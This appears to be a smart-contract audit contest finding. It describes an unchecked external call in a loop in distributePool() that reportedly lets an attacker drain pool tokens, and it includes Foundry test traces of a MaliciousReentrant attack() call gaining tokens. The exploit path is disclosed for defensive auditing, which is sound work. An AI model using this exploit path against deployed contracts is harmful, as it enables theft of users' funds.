The external call in transfer() is reachable from the distributePool() function in knowledgeSupportToken.sol. A malicious attacker can use this external call to exploit all the pool tokens during distribution. the external call was made within a loop and also did not check for return value.
[⠔] Solc 0.8.26 finished in 2.18s
Compiler run successful!
Ran 1 test for test/InvariantTest/ReentrancyTest.sol:MaliciousExpliotTest
[PASS] testKnowledgeSupportTokenReentrancy() (gas: 78312)
Logs:
Initial Balance:
Attackers Batch balance: 0
final attacker batch balance 5000000000000000000
Traces:
[103012] MaliciousExpliotTest::testKnowledgeSupportTokenReentrancy()
├─ [0] console::log("Initial Balance: ") [staticcall]
│ └─ ← [Stop]
├─ [2562] BatchToken::balanceOf(MaliciousReentrant: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall]
│ └─ ← [Return] 0
├─ [0] console::log("Attackers Batch balance: ", 0) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::prank(MaliciousReentrant: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a])
│ └─ ← [Return]
├─ [80598] MaliciousReentrant::attack()
│ ├─ [50909] KnowledgeSupportToken::distributePool()
│ │ ├─ [2562] BatchToken::balanceOf(KnowledgeSupportToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]) [staticcall]
│ │ │ └─ ← [Return] 5000000000000000000000 [5e21]
│ │ ├─ [10888] BatchToken::transfer(MaliciousExpliotTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 4995000000000000000000 [4.995e21])
│ │ │ ├─ emit Transfer(from: KnowledgeSupportToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], to: MaliciousExpliotTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], value: 4995000000000000000000 [4.995e21])
│ │ │ └─ ← [Return] true
│ │ ├─ [23188] BatchToken::transfer(MaliciousReentrant: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 5000000000000000000 [5e18])
│ │ │ ├─ emit Transfer(from: KnowledgeSupportToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], to: MaliciousReentrant: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], value: 5000000000000000000 [5e18])
│ │ │ └─ ← [Return] true
│ │ ├─ [562] BatchToken::balanceOf(KnowledgeSupportToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]) [staticcall]
│ │ │ └─ ← [Return] 0
│ │ └─ ← [Stop]
│ └─ ← [Stop]
├─ [562] BatchToken::balanceOf(MaliciousReentrant: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall]
│ └─ ← [Return] 5000000000000000000 [5e18]
├─ [0] console::log("final attacker batch balance", 5000000000000000000 [5e18]) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::assertTrue(true, "Attacker's balance should have increased") [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.06ms (573.80µs CPU time)
Ran 1 test suite in 16.69ms (2.06ms CPU time): 1 test passed, 0 failed, 0 skipped (1 total test)
[~/Documents/Competitive_Audit/2024-10-swan-dria]
viquetour main -+
The contest is live. Earn rewards by submitting a finding.
This is your time to appeal against judgements on your submissions.
Appeals are being carefully reviewed by our judges.